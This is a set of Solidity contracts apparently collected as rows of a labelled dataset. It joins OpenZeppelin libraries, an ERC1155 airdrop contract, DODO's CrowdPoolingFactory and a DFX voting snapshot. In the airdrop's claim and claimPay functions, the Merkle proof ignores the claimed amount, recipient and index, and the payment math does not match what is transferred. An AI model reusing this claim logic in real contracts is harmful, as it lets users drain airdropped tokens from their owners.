_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// File: contracts/AD2.sol
pragma solidity >= 0.8.9;
contract AirDropperErc1155 is Ownable, ERC1155Receiver {
uint256 public constant DEFAULT_AIRDROP_EXPIRATION = 90 * 24 * 60 * 60;
uint256 public constant DEFAULT_ADMIN_WITHDRAWAL = 30 * 24 * 60 * 60;
struct AirDrop {
ERC1155 token;
uint256 tokenId;
uint64 expirationTimestamp;
bytes32 merkleRoot;
uint256 amount;
address creator;
bool paidable;
uint256 piecePrice;
address payout;
mapping(uint256 => uint256) claimedBitMap;
}
mapping(uint256 => AirDrop) public airDrops;
mapping(uint256 => bool) public isPaused;
function addErc1155Airdrop(
uint256 airdropId,
ERC1155 token,
uint256 tokenId,
uint256 amount,
bytes32 merkleRoot,
uint256 expirationSeconds,
bool paidable,
uint256 piecePrice,
address payout
)
external
{
require(!isPaused[0], "Paused");
AirDrop storage airDrop = airDrops[airdropId];
require(address(airDrop.token) == address(0), "Airdrop already exists");
token.safeTransferFrom(msg.sender, address(this), tokenId, amount, "");
airDrop.token = token;
airDrop.tokenId = tokenId;
airDrop.creator = msg.sender;
airDrop.merkleRoot = merkleRoot;
airDrop.amount = amount;
airDrop.paidable = paidable;
airDrop.piecePrice = piecePrice;
airDrop.payout = payout;
if (expirationSeconds > 0) {
airDrop.expirationTimestamp = uint64(block.timestamp + expirationSeconds);
} else {
airDrop.expirationTimestamp = uint64(block.timestamp + DEFAULT_AIRDROP_EXPIRATION);
}
emit AddedAirdrop(airdropId, token, tokenId, amount, paidable);
}
function isClaimed(uint256 airdropId, uint256 index) public view returns (bool) {
// to save the gas, whether user claim the token is stored in bitmap
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
AirDrop storage airDrop = airDrops[airdropId];
uint256 claimedWord = airDrop.claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 airdropId, uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
AirDrop storage airDrop = airDrops[airdropId];
airDrop.claimedBitMap[claimedWordIndex] = airDrop.claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(
uint256 airdropId,
uint256 index,
address payable account,
uint256 amount,
bytes32[] calldata merkleProof
)
external
{
require(!isPaused[1], "Paused");
AirDrop storage airDrop = airDrops[airdropId];
require(airDrop.paidable != true, "This piece is not claimable");
require(address(airDrop.token) != address(0), "Airdrop with given ID doesn't exists");
require(!isClaimed(airdropId, index), "Account already claimed");
require(block.timestamp <= airDrop.expirationTimestamp, "Airdrop expired");
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(merkleProof, airDrop.merkleRoot, node), "Invalid Merkle-proof");
airDrop.amount = airDrop.amount - amount;
// Mark it claimed and send the token.
_setClaimed(airdropId, index);
airDrop.token.safeTransferFrom(address(this), account, airDrop.tokenId, amount, "");
emit Claimed(airdropId, index, account, amount);
}
function claimPay (
uint256 airdropId,
uint256 index,
address account,
uint256 amount,
bytes32[] calldata merkleProof
)
external payable
{
require(!isPaused[1], "Paused");
AirDrop storage airDrop = airDrops[airdropId];
require(msg.value >= airDrop.piecePrice * amount, "Ether value sent is below the price");
require(address(airDrop.token) != address(0), "Airdrop with given ID doesn't exists");
require(!isClaimed(airdropId, index), "Account already claimed");
require(block.timestamp <= airDrop.expirationTimestamp, "Airdrop expired");
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(merkleProof, airDrop.merkleRoot, node), "Invalid Merkle-proof");
airDrop.amount = airDrop.amount - amount;
// Mark it claimed and send the token.
_setClaimed(airdropId, index);
payable(airDrop.payout).transfer(airDrop.piecePrice);
airDrop.token.safeTransferFrom(address(this), account, airDrop.tokenId, 1, "");
emit Claimed(airdropId, index, account, amount);
}
function adminWithdrawTokensFromExpiredAirdrop(uint256 airdropId) external onlyOwner {
AirDrop storage airDrop = airDrops[airdropId];
require(address(airDrop.token) != address(0), "Airdrop with given Id doesn't exists");
require(airDrop.expirationTimestamp + DEFAULT_ADMIN_WITHDRAWAL < block.timestamp,
"need to wait creator withdrawal expiration");
require(airDrop.amount > 0, "Airdrop balance is empty");
uint256 amount = airDrop.amount;
airDrop.amount = 0;
airDrop.token.safeTransferFrom(address(this), msg.sender, airDrop.tokenId, amount, "");
}
receive() external payable {
emit Received(msg.sender, msg.value);
}
function withdrawFee() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
function setPause(uint256 i, bool _isPaused) onlyOwner external {
isPaused[i] = _isPaused;
}
event AddedAirdrop(uint256 airdropId, ERC1155 token, uint256 tokenId, uint256 amount, bool paidable);
event Claimed(uint256 airdropId, uint256 index, address account, uint256 amount);
event Received(address, uint);
/**
* @dev See {IERC165-supportsInterface}.
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
override
returns (bytes4)
{
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
override
returns (bytes4)
{
return this.onERC1155BatchReceived.selector;
}
} | True | [
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// File: contracts/lib/InitializableOwnable.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/lib/CloneFactory.sol
interface ICloneFactory {
function clone(address prototype) external returns (address proxy);
}
// introduction of proxy mode design: https://docs.openzeppelin.com/upgrades/2.8/
// minimum implementation of transparent proxy: https://eips.ethereum.org/EIPS/eip-1167
contract CloneFactory is ICloneFactory {
function clone(address prototype) external override returns (address proxy) {
bytes20 targetBytes = bytes20(prototype);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
proxy := create(0, clone, 0x37)
}
return proxy;
}
}
// File: contracts/CrowdPooling/intf/ICP.sol
interface ICP {
function init(
address[] calldata addressList,
uint256[] calldata timeLine,
uint256[] calldata valueList,
bool isOpenTWAP
) external;
function bid(address to) external;
function cancel(address assetTo, uint256 amount) external;
function settle() external;
function emergencySettle() external;
function claimBase() external;
function claimQuote() external;
function claimLPToken() external;
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/DecimalMath.sol
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
uint256 internal constant ONE2 = 10**36;
function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / (10**18);
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(10**18);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).divCeil(d);
}
function reciprocalFloor(uint256 target) internal pure returns (uint256) {
return uint256(10**36).div(target);
}
function reciprocalCeil(uint256 target) internal pure returns (uint256) {
return uint256(10**36).divCeil(target);
}
}
// File: contracts/Factory/CrowdPoolingFactory.sol
/**
* @title CrowdPoolingFacotry
* @author DODO Breeder
*
* @notice Create And Register CP Pools
*/
contract CrowdPoolingFactory is InitializableOwnable {
using SafeMath for uint256;
// ============ Templates ============
address public immutable _CLONE_FACTORY_;
address public immutable _DVM_FACTORY_;
address public immutable _DEFAULT_MAINTAINER_;
address public immutable _DEFAULT_MT_FEE_RATE_MODEL_;
address public immutable _DEFAULT_PERMISSION_MANAGER_;
address public _CP_TEMPLATE_;
// ============ Settings =============
uint256 public _CAP_RATIO_ = 50;
uint256 public _FREEZE_DURATION_ = 30 days;
uint256 public _CALM_DURATION_ = 0;
uint256 public _VEST_DURATION_ = 0;
uint256 public _K_ = 0;
uint256 public _CLIFF_RATE_ = 10**18;
// ============ Registry ============
// base -> quote -> CP address list
mapping(address => mapping(address => address[])) public _REGISTRY_;
// creator -> CP address list
mapping(address => address[]) public _USER_REGISTRY_;
// ============ modifiers ===========
modifier valueCheck(
address cpAddress,
address baseToken,
uint256[] memory timeLine,
uint256[] memory valueList)
{
require(timeLine[2] == _CALM_DURATION_, "CP_FACTORY : PHASE_CALM_DURATION_INVALID");
require(timeLine[4] == _VEST_DURATION_, "CP_FACTORY : VEST_DURATION_INVALID");
require(valueList[1] == _K_, "CP_FACTORY : K_INVALID");
require(valueList[3] == _CLIFF_RATE_, "CP_FACTORY : CLIFF_RATE_INVALID");
uint256 baseTokenBalance = IERC20(baseToken).balanceOf(cpAddress);
require(valueList[0].mul(100) <= baseTokenBalance.mul(valueList[2]).div(10**18).mul(_CAP_RATIO_),"CP_FACTORY : QUOTE_CAP_INVALID");
require(timeLine[3]>= _FREEZE_DURATION_, "CP_FACTORY : FREEZE_DURATION_INVALID");
_;
}
// ============ Events ============
event NewCP(
address baseToken,
address quoteToken,
address creator,
address cp
);
constructor(
address cloneFactory,
address cpTemplate,
address dvmFactory,
address defaultMaintainer,
address defaultMtFeeRateModel,
address defaultPermissionManager
) public {
_CLONE_FACTORY_ = cloneFactory;
_CP_TEMPLATE_ = cpTemplate;
_DVM_FACTORY_ = dvmFactory;
_DEFAULT_MAINTAINER_ = defaultMaintainer;
_DEFAULT_MT_FEE_RATE_MODEL_ = defaultMtFeeRateModel;
_DEFAULT_PERMISSION_MANAGER_ = defaultPermissionManager;
}
// ============ Functions ============
function createCrowdPooling() external returns (address newCrowdPooling) {
newCrowdPooling = ICloneFactory(_CLONE_FACTORY_).clone(_CP_TEMPLATE_);
}
function initCrowdPooling(
address cpAddress,
address creator,
address baseToken,
address quoteToken,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external valueCheck(cpAddress,baseToken,timeLine,valueList) {
{
address[] memory addressList = new address[](7);
addressList[0] = creator;
addressList[1] = _DEFAULT_MAINTAINER_;
addressList[2] = baseToken;
addressList[3] = quoteToken;
addressList[4] = _DEFAULT_PERMISSION_MANAGER_;
addressList[5] = _DEFAULT_MT_FEE_RATE_MODEL_;
addressList[6] = _DVM_FACTORY_;
ICP(cpAddress).init(
addressList,
timeLine,
valueList,
isOpenTWAP
);
}
_REGISTRY_[baseToken][quoteToken].push(cpAddress);
_USER_REGISTRY_[creator].push(cpAddress);
emit NewCP(baseToken, quoteToken, creator, cpAddress);
}
// ============ View Functions ============
function getCrowdPooling(address baseToken, address quoteToken)
external
view
returns (address[] memory pools)
{
return _REGISTRY_[baseToken][quoteToken];
}
function getCrowdPoolingBidirection(address token0, address token1)
external
view
returns (address[] memory baseToken0Pools, address[] memory baseToken1Pools)
{
return (_REGISTRY_[token0][token1], _REGISTRY_[token1][token0]);
}
function getCrowdPoolingByUser(address user)
external
view
returns (address[] memory pools)
{
return _USER_REGISTRY_[user];
}
// ============ Owner Functions ============
function updateCPTemplate(address _newCPTemplate) external onlyOwner {
_CP_TEMPLATE_ = _newCPTemplate;
}
function setCapRatio(uint256 _newCapRatio) public onlyOwner {
require(_newCapRatio > 0 && _newCapRatio <= 100, "CP_FACTORY : INVALID");
_CAP_RATIO_ = _newCapRatio;
}
function setFreezeDuration(uint256 _newFreeDuration) public onlyOwner {
_FREEZE_DURATION_ = _newFreeDuration;
}
function setCalmDuration(uint256 _newCalmDuration) public onlyOwner {
_CALM_DURATION_ = _newCalmDuration;
}
function setVestDuration(uint256 _newVestDuration) public onlyOwner {
_VEST_DURATION_ = _newVestDuration;
}
function setK(uint256 _newK) public onlyOwner {
require(_newK <= 10**18, "CP_FACTORY : INVALID");
_K_ = _newK;
}
function setCliffRate(uint256 _newCliffRate) public onlyOwner {
require(_newCliffRate <= 10**18, "CP_FACTORY : INVALID");
_CLIFF_RATE_ = _newCliffRate;
}
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IMasterChef {
function userInfo(uint256, address) external view returns (uint256, uint256);
}
contract DFXSnapshot {
IMasterChef public constant CHEF = IMasterChef(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd);
IERC20 public constant DFX_ETH_SUSHI_LP = IERC20(0xBE71372995E8e920E4E72a29a51463677A302E8d);
IERC20 public constant DFX = IERC20(0x888888435FDe8e7d4c54cAb67f206e4199454c60);
function decimals() external pure returns (uint8) {
return uint8(18);
}
function name() external pure returns (string memory) {
return "DFX Snapshot";
}
function symbol() external pure returns (string memory) {
return "DFXS";
}
function totalSupply() external view returns (uint256) {
return DFX.totalSupply();
}
function balanceOf(address _voter) public view returns (uint256) {
// DFX/ETH is pool id 172
(uint256 _stakedSlpAmount, ) = CHEF.userInfo(172, _voter);
uint256 slpAmount = DFX_ETH_SUSHI_LP.balanceOf(_voter);
uint256 bareAmount = DFX.balanceOf(_voter);
uint256 votePower = getAmountFromSLP(_stakedSlpAmount) + getAmountFromSLP(slpAmount) + bareAmount;
return votePower;
}
function getAmountFromSLP(uint256 _slpAmount) public view returns (uint256) {
uint256 tokenAmount = DFX.balanceOf(address(DFX_ETH_SUSHI_LP));
uint256 tokenSupply = DFX_ETH_SUSHI_LP.totalSupply();
return _slpAmount * 1e18 / tokenSupply * tokenAmount / 1e18;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
